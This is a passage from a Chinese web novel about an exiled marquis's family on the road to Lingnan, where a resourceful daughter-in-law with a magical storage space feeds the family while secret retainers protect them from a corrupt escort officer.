敲门声响起,女眷们瞬间坐直了身子,门外传来靳礼之高兴的声音:“二婶,二叔的烧已经退了,你们可以安心睡了。” “好,辛苦你们夜里照顾了。” 柳素仪放心了。 靳礼道:“你们放心睡,晚上我们会有人在这里守夜。” 话落,屋子里的靳家女眷都放心了。 这个程七七,树皮水居然真有用? 林惠兰心底嘀咕着,刚瞪了一眼程七七,就看到了柳素仪的目光,林惠兰直接背过身躺下,拉上了被子。 “七七,幸好有你送来的药,不然侯爷这高烧退不下去,恐有性命之忧啊!” 柳素仪的声音放大了一些,特意朝着林惠兰的方向说着。 “爹没事就好。” 程七七微笑着,道:“娘,我明天想去府城买东西。” “你去?”柳素仪担心地道:“府城人多,姓张的他们,肯定不会放过……” “让大伯或者二叔他们跟着我一块,我想买点药,还有一些粗布和棉花,南边虽然暖和,但,这天气毕竟是一天一天凉了。” 程七七想,她空间里那么多东西,她不去买,怎么往里添东西? “行,到了府城,后面有很长一段山路,都没有补给了,除非他们想饿死我们,否则,就一定会让我们去补给的。” 柳素仪之前听忠勇侯说过,洪都府城,刀疤张一定会让他们去的,她道:“那,明天看看姓张的会不会同意。” “会同意的。” 程七七笃定的说着,翌日,她给刀疤张塞了一张十两的银票,刀疤张深深的看了她一眼道:“三个人去,晌午之前,必须回来!” “谢大人。” 程七七高兴了,回去抱着女儿亲了亲,道:“安安,你乖乖的跟着奶奶,娘去给你买糖葫芦。” “好。” 靳岁安开心的不得。 一旁的何氏翻了一个白眼,小声嘀咕着:都快饿死了,还买糖葫芦呢。 “既然去三个人,那,不如就让我们三房男人去。” 温氏笑盈盈的说着。 “三婶,我要去。” 程七七开口道:“上次辛苦大伯和三叔了,这次,就让我们没去的人去。” “那我去。”靳四爷开口。 “把礼之带上,礼之算术好。”靳大爷开口。 最后,程七七、靳礼之和靳四爷一块去买东西了,大家拿钱的拿钱,将自己想买的东西,全部都说了出来。 “林姨娘,你们不拿钱的话,怕是买不到粮食了。”程七七看着准备装死的林惠兰开口。 “七七啊,能不能给砚之买点药,他的腿都断了……” 林惠兰的话一开口,程七七道:“爹说了,他的腿躺躺就好了,哪里还要买药?粮食才最重要,你不会想着光吃不拿吧?” “都是一家人,我自然是没意见的,就怕爹醒来后,不高兴。” 程七七含笑看着林惠兰,她不是喜欢拿侯爷来压婆婆吗?那就让她也试试! 忠勇侯前脚才说,大家要齐心协力,林惠兰后脚一分不出的让她买粮食。 “我,我真的没钱了。” 林惠兰一边说着,一边从腰带里,从袜子里拿出一点碎银子,递给程七七的时候,那叫一个不舍,她,真的没钱了啊! 程七七一把拿了过来,看了一眼,这点会银子,怕是一两都没行,林惠兰,真没钱了? 程七七不管三七二十一,迫不及待的就进城了。 靳四爷和靳礼之一左一右的将程七七护在中间,他们一身破破烂烂的跟在刀疤张身后进城,听着守城护卫收入城的铜板时,程七七从袖子里摸出几个铜板交上。 入了城之后,刀疤张让李八不远不近地跟着他们。 “都到了城里,还怕我们跑了?”靳四爷看着跟着他们的护卫,心情沉沉的。 “四叔,我们还是赶紧买东西吧。” 靳礼之想着需要买的东西,算计着手里的钱,把钱花光,买到最多的东西才是最重要的! “我去买药。” 程七七主动开口,忠勇侯需要药,安安年纪小,天气一变,就容易染上风寒,这药是必不可少的,而且,其它东西,也需要她从空间里拿出来。 没等他们开口,程七七快步走了,她得一个人才行。 刚走几步,程七七就看到熟人了。 第一卷 第24章 黑土 “世子妃!” 重山见着程七七一个人的时候,快步上前道:“世子妃,侯爷的伤势没事吧?你们都还好吧?” “都好,侯爷的烧也退了,我就是去买药的。” 程七七看到重山的时候,忍不住问:“之前在望京镇的驿站,也是你们丢石头砸张贵的吧?” 望京镇? 重山下意识的看了一眼旁边的虬须大汉,道:“是他扔的!” “我记得你,遇上土匪的时候,你救了我和安安,还救了侯爷。” 程七七一眼就认出了虬须大汉,笑着感谢道:“谢谢你,你也是世子的旧部吗?” 他的挂面胡子,还有那一双深邃的眼睛,特别是那比例优越的大长腿……记忆深刻。 “是。” 虬须大汉看到她亮晶晶的眼睛,和脸上的笑容时,愣了一下。 流放路上这么苦,她,居然还笑得出来? “你的伤好了吗?”程七七看了他的手臂一眼,当时他替忠勇侯挡一刀的时候,离得远,她看着都吓人。 “好了。”虬须大汉点头。 一旁的重山:世子,你可真是会睁眼说瞎话,昏迷了两天,伤口溃烂反复,这会还灌着脓水呢,哪好了? “那就好。” 程七七微微点头,转身看着重山问:“重山,你知道哪里买药吗?最好,再来一辆马车。” “安安年纪小,晚上也该有个休息的地方。”程七七解释着。 “有,我们在洪都等你们一天了,马车也准备好了,有吃的,有药,还有厚衣裳,世子妃,你看看,缺什么?” 重山激动的说着,领着程七七到巷子里,一辆装满着物资的马车就放在了程七七的面前。 “这,都是你准备的?” 程七七掀开帘子,看着里面满满当当的东西,特别是药和粮食,那是重中之重! “世……”子准备的。 重山的话刚开口,一旁的虬须大汉接话道:“是我们准备的,世子曾经于我们有恩,如今,也表达一些心意。” “你们可真忠心。” 程七七看着那满当当的物资,世子的旧部,还真是忠心耿耿呢。 “世子妃,等会我们会装成商队,远远的跟在你们身后,保管那张巡检,不敢再欺负你们!” 重山说着,又特意从马车上拿出老胡准备好的药:“这个药是敷在侯爷背上的,这个药,煎给侯爷吃!” “这些小香囊是驱蛇虫的,岭南的路上,瘴气蛇虫多。” 重山拿出二十几个药草香囊,程七七看的眼睛亮晶晶的。 “这可真是救命药啊!” 程七七高兴的说道:“等回头我告诉侯爷和夫人,定要好好谢谢你们。” “对了,你叫什么名字?” 程七七认识重山,但虬须大汉不认识。 “他叫……” 重山看着虬须大汉,瞪圆的眼睛看着他,眼睛仿佛在问:叫什么? “黑土。” 虬须大汉的声音方落,程七七差点把口水都喷出来了。 “你叫黑土?” 程七七看着眼前的虬须大汉,脑子里瞬间想起了白云,她一脸好奇地问:“有没有谁叫白云?” 重山摇头道:“绝对没有!” “白云和黑土有关系吗?”靳墨之眉微蹙,他随口取的名字,似乎,有故事? “一个白一个黑?” 程七七摆了摆手,岔开话题道:“重山,那,你们要跟着一起去岭南?岭南这么远……” “世子待我恩重如山,如不护送你们平安抵达岭南,我晚上都睡不着。” 重山说着,视线若有似无地看向了一旁的世子。 “你们待世子的好,我会如实告诉侯爷和夫人的。”程七七站在马车前,朝着重山和黑土两个人深深的鞠躬。 “别,世子妃。” 重山连忙侧身,不敢受程七七的礼,他激动地说:“这些都是我们应该做的。” “不,世子死了,侯府倒了,你们都是自由身,可以不管的。” 程七七郑重的说着,她想了想,道:“待到岭南之后,我们会努力偿还这些的。” “不需要。” 一个低沉的声音响起,那悦耳低沉的声音,简直能让耳朵怀孕了。 一抬头…… 程七七看到虬须大汉的满脸胡子,再想起他叫黑土,瞬间幻灭了,她道:“礼尚往来,关系都是互相的,这些东西,我先拿走了。” 程七七看了一眼马车上满满登登的东西,可什么东西都不缺。 “嫂子,你,你这么短的时间,马车粮食都买好了?” 靳四爷和靳礼之两个人看到程七七拉着一马车东西的时候,瞬间都惊呆了! 他们两个人买了一百斤粮食,买了几匹最便宜的旧葛布,还咬牙买了十斤棉花,本以为他们已经大收获,这会看程七七…… “回去再说!” 程七七一行三人拉着满登登的一马车东西回去,把所有人都惊呆了! 李八悄悄的在刀疤张耳旁说:“张哥,世子妃拉的马车,应该是世子旧部送的。” 刀疤张半眯着眼睛,盯着那一马车的东西,喃喃的问:“对方有多少人?” “送东西的就两个,但,暗处我瞧着有十几个。”李八的声音响起。 刀疤张的眸色又沉了沉:“这任务,看来是完不成了?” “张哥,这才进洪都,去往岭南的路上,那是山连着山,对方就算是世子旧部又如何?还敢明目张胆的管?” 李八眼眸微闪道:“张哥,我们可以趁机从他们手里多拿点银钱,等到了岭南山境,还不是我们说了算?” “你说得对。”刀疤张赞许的点头,等到了岭南山境…… 李八看着刀疤张的眼神,垂下了眸子。 “娘,你看,世子旧部送了一马车的粮食,还有爹的药,等会让人给爹敷上药,这是煎的药,爹吃上了药,就能好全了!” 程七七高兴的说着:“还有药囊,我们佩戴在腰间,就不用担心蛇虫了!” “世子旧部?是谁?” 柳素仪拉着程七七的手,世子,她的墨儿,年纪轻轻的就没了。 “重山。” 程七七小声回答着,道:“以后,他们会远远的跟着我们,我们再也不用担心吃不上东西了!” “好,好,好。” 柳素仪眼中含着泪,抓着程七七的手都带着微微的颤抖,道:“今天煮米饭吃,大家吃饱了,好走路!” 不远处的山头上,重山喃喃的说:“世子妃应该没认出你吧?” 第一卷 第25章 连个三岁小丫头都不如? “肯定没认出!” 没等靳墨之开口,重山就自言自语的说着:“世子妃要是认出了你,肯定刚刚多看你几眼。” 话落,重山就感觉到一股寒意,他浑身一个激灵,往靳墨之身边靠了靠:“世子,你有没有觉得,这天突然变凉了?” …… “程七七,砚之的药呢?这骨头的药没有,补身体的药总该有吧?” “我给你这么多的钱,怎么连药都没给我买?” 林惠兰拿到防蛇虫的药时,气的直接往程七七身上砸了过去,道:“这路上哪有蛇虫?我要这些做什么?” “侯爷,你快醒醒吧,我快被她们欺负死了。” 林惠兰扑到侯爷的身旁,呜咽的哭泣着。 “林惠兰,滚一边哭去。” 柳素仪一巴掌甩了过去,从前就看不惯她这一副做派,现在流放了,她才懒得顾及侯府主母的风范,她捡起地上的防蛇虫的药香囊,冷着脸道:“再哭,今晚你们就别吃了!” 锅里,是土豆、豆角炖肉,肉香飘过,林惠兰的哭声戛然而止,她的眼泪说收就收。 林惠兰捂着脸,带着满肚子气地回到角落里,气得咬牙切齿的,柳素仪,程七七,就是专门跟她做对的! “靳雪儿,你还愣着干什么?还不赶紧去捡柴,等会多盛点肉!” 林惠兰朝着靳雪儿一通抱怨。 “娘,你还好意思朝我发火呢,有本事,朝夫人发火去?”靳雪儿扭头就走,她算是看明白了,自家亲娘嘴上花花,但真有事,靠不住! “你……”林惠兰看着女儿离去的背影,气得倒仰。 “娘,快尝尝,味道怎么样?” 程七七将炖好的肉给柳素仪尝了尝,柳素仪连连点头道:“好吃!” “嫂子,你的厨艺,可真好啊!” 靳萱儿吸了吸鼻子,闻着这肉的香味,肚子里的馋虫,这会全部都被勾出来了。 大哥和四叔可没买肉,因此,程七七说让大家只做饭,她会做菜的时候,靳萱儿几个人都过来帮忙了! 看着七八斤肉炖在锅里,大家更是干得热火朝天的。 “嫂子,我,能尝尝吗?”靳晴讨好地笑着,和天牢比起来,瘦的衣服都显得像偷来的。 “拿碗来。” 程七七确认熟了之后,直接就开始分菜了。 重山他们买的肉多,这天气容易坏,程七七干脆全做了,省着点吃,明天还能吃两顿。 “香。” “太好吃了。” 米饭,配上土豆炖肉,靳家人吃的开怀。 刀疤张看着眼前的菜,同样的土豆炖肉,他蹙起眉:“三斤,你做的肉,怎么不香?” “大,大哥。” 角落里的一个瘦子站了出来,躬着腰,脸上带着讨好的笑:“大哥,肯定他们的肉更多!” “滚。” 刀疤张一脚踹了过去,三斤在地上打了一个滚,他就是一个打杂的,连护卫都不是,为了小命,也不敢有半点的生气,三斤脸上还带讨好的笑。 “人送来手肉,足有五斤,剩下的肉,你吃了不成?” 李八立刻开口,挑了块五花三层的大肥肉递上:“张哥,靳家有钱好啊,我们路上也没这么辛苦,再走上一个月,就到岭南山境了。” “哼。” 刀疤张睨了靳家人一眼,等到了岭南山境,他们就等着吧! 流放之后,除了野猪肉那一顿,这次是吃的最丰盛,最饱的一顿了,大家开心的脸上,连路上的辛苦疲惫,都散了不少。 晚上,吃饱了的他们,两个人盖上一床被子,和衣而躺在地上,就连梦里,都带着肉香味。 翌日,林惠兰想让靳砚之坐马车,刀疤张一鞭子挥了过来:“不行!” “大人。” 林惠兰吓了一跳,她讨好的笑道:“我们又多了一辆马车,可以让我儿子赶马车,还省得……” “我说不行,就不许。” 刀疤张冷眼扫了林惠兰一眼:“忠勇侯昏迷了,老太太整日浑浑噩噩,让他们躺板车上,已经是格外开恩了,他也坐马车?你们是流放呢?还是享福呢?” “不过……” 刀疤张话锋一转,盯着林惠兰的脸,哪怕瘦的脸小下巴尖,但更显得那双眼睛大而勾人了,他的嘴角勾起一抹邪笑,道:“你要是晚上来求情,或许,我可以考虑一下。” 侯爷的姨娘,这细皮嫩肉的,肯定带劲。 人家要是愿意送上门,世子旧部那些人,肯定不能咋样! “你……” 林惠兰气的脸都红了,转身就走,一个押解官差,算什么东西! 再说了,侯爷还没死呢,她要是敢干点什么,以侯爷的脾气,她肯定小命不保,唉,这苦,还得吃到什么时候? “娘,我要坐那辆马车,软一些。” 靳砚之指着程七七新拉来的马车,还有个垫子呢。 “要坐,自己去找官差,反正你娘我没钱,也没本事。” 林惠兰一想着刚刚刀疤张的暗示,她就气的胸口疼,连带着说话都带刺。 “娘,我腿成这样了,你总不会让我走路吧?” 靳砚之的声音都扬高了几个调,察觉到官差的眼神扫过来,靳砚之想到那落在身上的鞭子,压低的声音中,带着急切:“娘,你帮帮我啊。” 林惠兰:“……” 靳砚之看着她这模样,他瘸着腿,走到了靳大爷的面前,半天才嗫嚅道:“大伯,你……” “润叔叔,我是大孩子了,我能自己走。” 靳岁安看着天气好,非要自己走,一边走一边说:“娘说了,叔叔和爷爷们背安安很累的。” “姐姐,我要跟你一起走路!” 靳岁安迈着小短腿走到比她大三岁的靳允身边,脆生生的说着。 “……” 正想着怎么让人背他的靳砚之沉默了。 他总不能,连个三岁小丫头都不如吧? “大伯,我还是自己走。” 靳砚之转头,瘸着腿就打算自己走,不争馒头争口气! “砚之,我来背你,你爹说了,你这腿,得养上十天半个月的,不然,以后瘸了。” 靳大爷蹲到了靳砚之的面前。 第一卷 第26章 埋骨的好地方 十天后。 “大伯,我腿已经好了,能走,我要自己走!” 靳砚之坚决不让人背他了,这十天,他每天都听着靳岁安脆生生的话:“我娘说,叔叔背了安安,要谢谢。” “我娘说,背安安很累的,安安给叔叔送好吃的。” “我娘说……” 靳岁安脆生生的话语,让他一个大男人,实在是脸没地放。 特别是靳岁安睁着那双大大的眼睛看着他问:“叔叔,你为什么这么大人了,还要人背呢?” 她的眼睛大的跟葡萄,清澈见底,她的眼神里,只有疑惑和不解,靳砚之连生气都生不起来。 没多大一会,她又噔噔噔的跑过来道歉:“叔叔对不起,安安不知道你的脚受伤了。” “叔叔,你脚疼吗?我帮你呼呼,就不疼了!” 靳岁安说着,看着靳砚之的腿,凑上前,嘟着嘴巴吹气,吹完还抬头问:“叔叔,还疼吗?” 亮晶晶的眼睛,靳砚之的心,忽然就像是被击中了一样,这样的女儿,如果是他的就好了! “砚之,你的腿伤刚好,再让他们背怕什么?要养好,万一……” 林惠兰等靳岁安一走,立刻就过来劝说着,盯着靳砚之的腿,生怕落下什么后遗症了。 “娘,我腿好了,不需要人背。” 靳砚之蹙眉,转身就去检柴了,最近晚上是越来越冷了。 “靳砚之,我可是你亲娘,你宁可跟那小丫头片子聊天,不跟我聊,你……” 林惠兰的话没说完,靳砚之转身打断她的话:“娘,你要真心疼我,就帮我做个薄袄,天真的很冷!” 从八月走到快十月了,白天还好,晚上那薄薄的褥子,是真冷! “那,那不是没棉花吗?” 林惠兰的声音有些虚,手里攒的钱,已经花的一点不剩了,这连岭南山境都还没到,未来可怎么办? “他们的胃口是越来越大了,七七,往后送银钱的事情,你就不用管了。” 忠勇侯的伤经过十天的调养,总算是好的七七八八的,得知程七七隔三岔五的就会送银钱,忠勇侯立刻有了想法! “好。” 程七七应声,忠勇侯接过这活,她都觉得轻松,刀疤张几个人就像是填不饱的无底洞一般! “娘。” 靳岁安往程七七怀里拱了拱,程七七轻拍着女儿,有些好奇,明天忠勇侯会怎么做? 翌日,忠勇侯并没有给刀疤张塞银子。 敲锣声响起,负责打杂的驴蛋拿着锣,就示意他们上路了。 刀疤张手拿着鞭子,一边提醒道:“一天五十里,你们可得赶紧着走!” “张大人,你放心,我们肯定不拖后腿。” 忠勇侯戴着镣铐,走起路来,也是一点都不慢,他一口一个张大人,倒让刀疤张的心情格外的好。 “靳义,还有一个月就到岭南了,你们这一个不少的,还是不错的。” 刀疤张盯着忠勇侯的脸,一想到侯爷在他这里呼来喝去的,他的心情高兴的直想哼歌。 砰。 突然,马车轮子坏掉了,刀疤张差点没摔地上。 忠勇侯扶住刀疤张:“张大人,可得小心啊。” “哼。” 刀疤张甩开他的手,站直了身体,不想让他自己太狼狈,他没好气的说:“你们都愣着做什么,看看马车出什么事了,赶紧修!” 哪怕忠勇侯来扶着他,可刀疤张的脸还是黑了。 李八和护卫过来看,马车轱辘都坏了,李八一脸为难的说:“张哥,这,修不好啊!” “张大人,要不,看看有没有路过的好心人?” 忠勇侯说着,立刻就朝着后面望去,还真别说,一队绑着货物的商队来了,见着他们的马车坏了,十分好心的道:“官爷,这轱辘坏了,我们有新的,给你们换。” 很快,那商队就将他们的马车修好了,拍拍屁股就走了。 刀疤张看着他们将马车修好就走,连半点好处都不要,看了一眼忠勇侯,到底是没说话。 只不过,刀疤张也没有再使唤过忠勇侯了。 程七七看的真真切切的,虽然不知道忠勇侯是怎么做到的,但,她肯定这马车是忠勇侯弄坏的。 至于那好心的商队…… 那分明就是重山和黑土啊! “娘,胡子叔叔,是救了我的胡子叔叔!” 靳岁安见着黑土时,激动的大喊着:“谢谢胡子叔叔救了我!” 刚准备离开黑土,听到那脆生生的话语时,一回头,就看到了在程七七身边站着的靳岁安。 “胡子叔叔,你等等。” 靳岁安大步朝着他跑了过去。 黑土翻身下马,就见那扎着辫子的小姑娘朝着她飞奔而来,不过巴掌大的小脸,衬的那黑葡萄一样的大眼睛,格外的漂亮。 “谢谢胡子叔叔救了安安,安安给你送糖。” 靳岁安从怀里掏出藏了许久的糖,双手捧着递了上前。 小小的手,连糖都显得格外的大,再配上小姑娘灿烂的笑脸,黑土眼底的情绪翻涌,他蹲下身子,还比小姑娘高上不少,他道:“谢谢,你留着自己吃。” “我娘说了,救命之恩,要涌泉相报,我没有涌泉,就给叔叔送糖吃。”靳岁安将糖放到他手里,转身就跑了! 靳岁安,他的女儿可真好看。 黑土收回视线,翻身上马,策马离去。 程七七看着马上黑土的背影,完全就是背影杀手,一回头……不能看,不能看。 真是白瞎了那颀长的身材,和大长腿了。 程七七心中嘀咕着,自从有了那好心的商队之后,之后的路上,刀疤张也不敢为难的太过分了。 山路崎岖,没了刀疤张等人逼迫,一天五十里地,走习惯了,倒也还习惯了。 不知不觉,又大半个月过去了! “翻过前面这座山,就是岭南山境了!” 刀疤张见着这连绵不绝的三明山,心情也透着激动,走了二个多月,终于快到岭南了! “我们是不是到岭南了?” 何氏激动的说着。 “岭南?还有半个月。” 刀疤张睨她一眼,视线落在忠勇侯的身上,问:“靳义,你觉得这三明山如何?” “好。” 忠勇侯点头,夸赞道:“山清水秀,比起洪都府的山来说,这岭南的山,更稠密,连绵起伏的。” “我也觉得不错。” 刀疤张的唇角勾起一抹笑容,眼底闪过一抹深邃,可不是个埋骨的好地方? 第一卷 第27章 特别想吐 “娘,我打算去山边转转,看能不能找些吃的。” 三明山还没进,就已经好几天都没路过驿站了,全部都是在野外风餐露宿的。 “安安跟着我你放心,你们小心点,别走远了。” 柳素仪已经习惯程七七喜欢去附近找吃的了。 靳岁安站在柳素仪身边道:“娘,我乖乖的跟奶奶,我给奶奶添我柴火!” “好。” 程七七捏了捏她的小脸,哪怕她已经尽力营养跟上了,流放路上,小姑娘还是肉眼可见的瘦了! “嫂子,我们去看看,有没有野菜挖吧?” 靳萱儿挎一个布袋子,自从望京镇之后,靳萱儿几乎成了程七开身后的小尾巴。 “嫂子,我跟你一块去。” 三房家的新媳妇高胜兰也开口,道:“我婆婆说,她最近身子不爽利,我跟你们去。” “行,一块去。” 程七七跟高胜兰也算熟悉了,听说她娘家是开武馆的,有时候,她还挺想跟高胜兰切磋一下,这样就知道她的身手怎么样了。 “我大嫂身子也不舒服,这一路上,都在生病。”靳萱儿弱弱的开口,大嫂孟静瑶的身体还不如婆婆呢! 还好她从小在府里就不怎么被待见,现在流放路上,身体还算好的那个。 “还有我,嫂子,我运气不错,说不准,还能挖到土豆呢。”靳晴也忍不住开口,她已经完全被程七七的厨艺折服了! 明明一点野菜,都能被程七七做的特别好吃。 “雪儿,你也跟着一块去!”林惠兰瞧着程七七她们四个人去附近挖野菜了,连忙催促着一旁的靳雪儿。 靳雪儿看了一眼,道:“不去。” 她就看不惯靳萱儿和靳晴儿捧着程七七。 一个乡下丫头,她可是侯府千金! “不去你吃什么?”林惠兰还想像府里一样,找侯爷哭诉着,但,侯爷根本不理会她,不是让她干活,就是去捡柴。 “要去你去。” 靳雪儿气呼呼的往地上一坐,每天走路,走路,吃着猪食都不如,她伸出手,哪里还像个大小姐,顿时悲从中来。 “去就去,到时候我要是捡着野兔子,野鸡了,你可别后悔。” 林惠兰转身就走,靳雪儿一听,连忙跟了过去,她也想吃肉了,程七七能行,她也能行! 三明山里,程七七专心着寻找着可能挖到土豆红薯的地方。 ‘嘶’ 高胜兰突然捂着肚子,扶着树站住。 “你怎么了?” 程七七回头,看到高胜兰的脸色有些发白。 “就是肚子不舒服,可能……” 高胜兰不好意思,自从被流放后,她的葵水一直就没来。 “葵水来了?” 程七七看着她的肚子,说:“那你就在这里歇着,我们去找就行。” “没事,我缓缓就好了。” 高胜兰深吸了一口气。 “是啊,胜兰嫂嫂,你歇着吧,葵水来了可难受了!”靳萱儿一想到葵水,那是头皮都发麻,那几天赶路的时候,可真是生不如死的! “找到了!” 程七七激动的声音响起,她终于找到土豆了! “嫂子,我来了。”靳萱儿拿着石头就过来了。 “萱儿,你到这里挖,我去别处再看看。” 程七七说着,就在附近又找到了一个好地方,从空间里拿出刚挖的土豆和红薯,再从空间里铺上一层差不多的土,假装是刚刚挖出来的! 程七七蹲在地上挖挖挖,土豆和红薯挖了一堆,眼见着差不多了,然后就开始薅白菜了,野生的白菜,也……不奇怪吧? 程七七实在是太想吃白菜秧子了,一薅一大片。 有空间这个作弊器,很快,程七七就收获满满了,突然,她眼眸一亮,看到了旁边的小河,她立刻就冲了过去。 “鱼,我抓到鱼了!” 一条,两条,三条…… 程七七一边往小河里放鱼,一边就开始往外抓鱼了。 空间里的鱼,她养了三年,多的都快挤不下了! “好,好多鱼!” 高胜兰缓和过来,看到小河里游来游去的鱼,都惊呆了:“润之,你们快来啊,这里好多鱼!” 鱼肉虽然刺多,但鱼汤滋补啊! 很快,小河边上,大家都聚集过来了,靳润之跑得最快,挽起袖子,就开始抓鱼了。 “走,我们回去先煮鱼汤!” 程七七提着鱼,想起她挖出来的土豆和红薯,“等会,这边还有红薯和土豆呢!” “嫂子,你怎么每次都能寻到这么多好东西呢?” 高胜兰都惊呆了,这一堆的土豆和红薯,虽然吃腻了,但,总比饿肚子强啊! “可能,运气比较好?” 程七七微笑着,拎着鱼和土豆红薯,就回去了。 靳萱儿拿囚衣包裹着土豆道:“嫂子,我挖的土豆都没你的大,没你的多。” “小土豆有小土豆的味道。” 程七七想:空间里都是她以前在侯府精心种出来的,跟野蛮生长的,那肯定还是有区别的。 “你们居然抓了这么多条鱼?” 柳素仪看到程七七提着的三条肥嘟嘟的鱼,都惊呆了。 “娘,他们都去抓鱼了,今天晚上喝鱼汤。” 程七七琢磨着她放了那么多条鱼在河里,靳家人肯定能抓不少,她直接将三条鱼全部处理了! 果然,鱼还没处理到一半,忠勇侯就已经提着七八条鱼回来了,送了一半给刀疤张,然后全部都放到程七七面前了。 “爹,你们也太厉害了!” 程七七这话可不假,空间里的鱼,格外的活跃,抓起来,那可不容易! “我们找个缸养两天,我再去抓。” 忠勇侯说着,又往小河边跑去了! 程七七在调味料上,可是一点都不缺,因此,她先从罐子里挖了油两面煎了一下,生姜祛腥味,然后倒入开水,奶白奶白的鱼汤,光是闻着,就鲜美的很! “呕。” 高胜兰正帮忙,闻着鱼汤,瞬间胃里一阵翻腾。 “胜兰,你这是怎么了?” 程七七正站在一旁,连忙端着水递了上前:“来,漱漱口,你是不是冻着了?” 虽然岭南这边比起京都暖和一些,但,冬天慢慢来了,还是冷。 “不知道,刚闻着鱼汤,就特别想吐。” 高胜兰捂着鼻子,离的远远的。 第一卷 第28章 蛇没毒? “闻鱼汤就想吐?” 程七七心中一个咯噔,她问:“胜兰,你上次葵水什么时候来的?” 虽然他们都流放两个多月了,这个问题有些离谱,但,程七七……看高胜兰的样子,实在觉得奇怪。 “成亲后,就没来。” 高胜兰脸色一变,她的手下意识的放在腹部:“不可能啊,我一直是三个月来一回,而且,而且我还走了这么多路呢。” 这要真怀了,孩子还好吗? “娘,你觉得呢?” 程七七看向一旁的柳素仪,论怀孕的经验,她还是不懂的,哪怕已经当了娘! “胜兰,你三个月来一回?那成亲到现在,也有三个多月了。” 柳素仪拉着她坐了下来,问:“平日里有没有嗜睡?有没有腰酸?有没有特别想吃的?” “二婶,我,我什么都想吃。”高胜兰有些慌,流放路上,没什么吃的,每天都饿肚子,后来,慢慢能吃个七八分饱了! “不用慌,你要是肚子没什么不舒服的,就没事。” 柳素仪安慰着:“我听说你娘家开武馆的?也许你身体好,也不影响。” 温氏捡完柴,听着动静过来,得知高胜兰有可能怀孕时,温氏的眼珠子都快瞪出来了,拉着高胜兰问:“你,你怀孕了?” “娘,可能也是要来葵水了,我就是肚子不太舒服。” 高胜兰生怕被误会了,万一是一场乌龙就不好了。 温氏又问了几个问题,一拍腿,随即高兴的合不拢嘴:“胜兰,你这绝对是有了!” 高兴完,温氏又担心了道:“听说这里离岭南还要半个月呢,那……” “三弟妹放心,从京都二个多月都走来了,往后只要注意一些,定能平安。”柳素仪安慰着,看着高胜兰那平坦的小腹,她的心情也很好,新的生命,代表着新的希望。 温氏正要说些什么,一个尖叫声响起。 “啊!” 靳雪儿一边跑下山,一边大声尖叫着。 “救命,侯爷救命啊。” 林惠兰连滚带爬的跟在后面,刚抓了第二批鱼回来的忠勇侯,看着林惠兰这模样,脸都黑了。 “这是怎么回事?” 忠勇侯快步上前询问。 “蛇,有蛇。” 林惠兰踉踉跄跄的,看着忠勇侯,软软的倒了下来:“侯爷,我是不是要死了?” 忠勇侯扶着她,看着林惠兰被咬的手臂,道:“蛇在哪?” “在那儿。”林惠兰指了一个方向,正担心着她是不是要死了,下一刻,她的身子一倒,眼前一片衣角飞过。 “侯爷。” 林惠兰不可置信的看着忠勇侯朝着她刚指的方向过去,她只觉得手上的伤口更疼了! 忠勇侯赤手空拳的,捉着一条蛇就走过来了! “啊……” 林惠兰吓的连连后退。 “这蛇没毒,大补。” 忠勇侯看着林惠兰那害怕的样子,眼底的嫌弃一闪而逝,道:“你把那几条鱼拎来,留着明天吃!” “侯爷,真没毒吗?我真的不会死吗?” 林惠兰低头,看着手臂上被蛇咬到的两个洞,侯爷该不会是骗她的吧? 忠勇侯看她不相信的样子,气的转身就走,他拿着蛇去了架锅的地方,道:“素仪,今晚吃蛇羹!” 柳素仪看着他手里蛇,往后退了退:“靳义,你拿远点!” 柳素仪怕的连名带姓的喊着。 “七七,我们离远点,这也太可怕了。” 柳素仪明明害怕,还护着程七七往后走。 程七七笑着说:“娘,蛇汤滋补,爹,要不,你把皮给剥了,我等会炖上?” “行。” 忠勇侯往旁边走了走,一边扒蛇,一边说道:“七七说的对,蛇汤滋补!” 不远处,刀疤张看着忠勇侯手的蛇,听着林惠兰不停的询问着她会不会死,他的眼底一片深邃。 晚上,有鱼汤,有蛇汤,还有红薯当晚饭,大家吃的格外的饱。 特别是高胜兰可能怀孕的消息,更让大家既高兴,又担心。 忠勇侯端着满满一碗蛇汤就去找刀疤张了:“张大人,这蛇汤滋补。” 刀疤张看了一眼他碗里的蛇汤,道:“靳义,你这是打发叫花子呢?” “若是全送来,岂不是脏了大人的手?” 忠勇侯站在那里,哪怕微弯着腰,但依旧让人无法忽视。 “哦?” 刀疤张抬眸,道:“没想到,忠勇侯还挺会说话。” “只有大人,才配得上这一碗蛇汤!” 忠勇侯唇角微勾,道:“大人,我侄媳妇怀孕了,明天能坐马车吗?” 话落,站在一旁的靳三爷塞了一些碎银子上前,高胜兰肚子里,可是他的亲孙子。 “坐马车?” 刀疤张接过蛇汤,不得不说,曾经的忠勇侯在他面前这么听话,真是让他体会了一种……高高在上的感觉。 “对了,这孩子刚成亲,连怀孕了也不知道,幸好娘家以前开武馆的。” 忠勇侯似不经意的说着:“前头那好心的商队,倒旧跟我们挺有缘份的,之前帮了我们这么多回,可惜,我们是犯人,不能去感谢。” 刀疤张扫了一眼,不远处的地方,可不就是那一商队,疑似世子旧部,他垂眸道:“行。” 得到了肯定回答的忠勇侯带着靳三爷走了,刀疤张看着他的背影,眼眸往下沉:他跟一个马上就要死的人,计较什么? 忠勇侯步步回到靳家人落脚的树下,感受着刀疤张的眼神,他毫不在意,岭南山境是个好地方啊! 隔天,高胜兰就坐上了马车,马车摇摇晃晃的,她人也晕晕乎乎的。 “娘,我也想坐马车!” 靳雪儿一看这情况,立刻嚷了起来。 “要坐自己找你爹去。” 林惠兰捂着被蛇咬的伤口,昨天被蛇咬的时候,靳雪儿跑的比兔子还快,真是让她太寒心了。 “爹,我……” 靳雪儿刚一开口,看到忠勇侯那铜铃似的眼睛,瞬间就支支吾吾的不敢开口了。 “雪儿,要跟你嫂子多学学。” 忠勇侯看着娇气的女儿,刚开口,靳雪儿转身气呼呼的就跑了。 进了三明山,明显就觉得更凉快了,山中雾气弥漫,路上蛇虫鼠蚊都多了! “啊!蛇啊!” 靳雪儿第二次碰上蛇的时候,连捡柴都不敢捡了! “你们没拿草药包?”忠勇侯看着人人都挂着草药包,林惠兰母女两个没有,顿时蹙起了眉头。 “……” 靳雪儿心虚的不敢看忠勇侯。 “那是人家嫌弃臭,不要的!”柳素仪立刻开口,生怕程七七被误会了。 第一卷 第29章 脸真大 “那是娘嫌弃,不是我。” 靳雪儿立刻甩锅,林惠兰听了这话,瞬间就一巴掌拍到了靳雪儿的肩膀上:“那是我嫌弃吧,明明是……” “都闭嘴!” 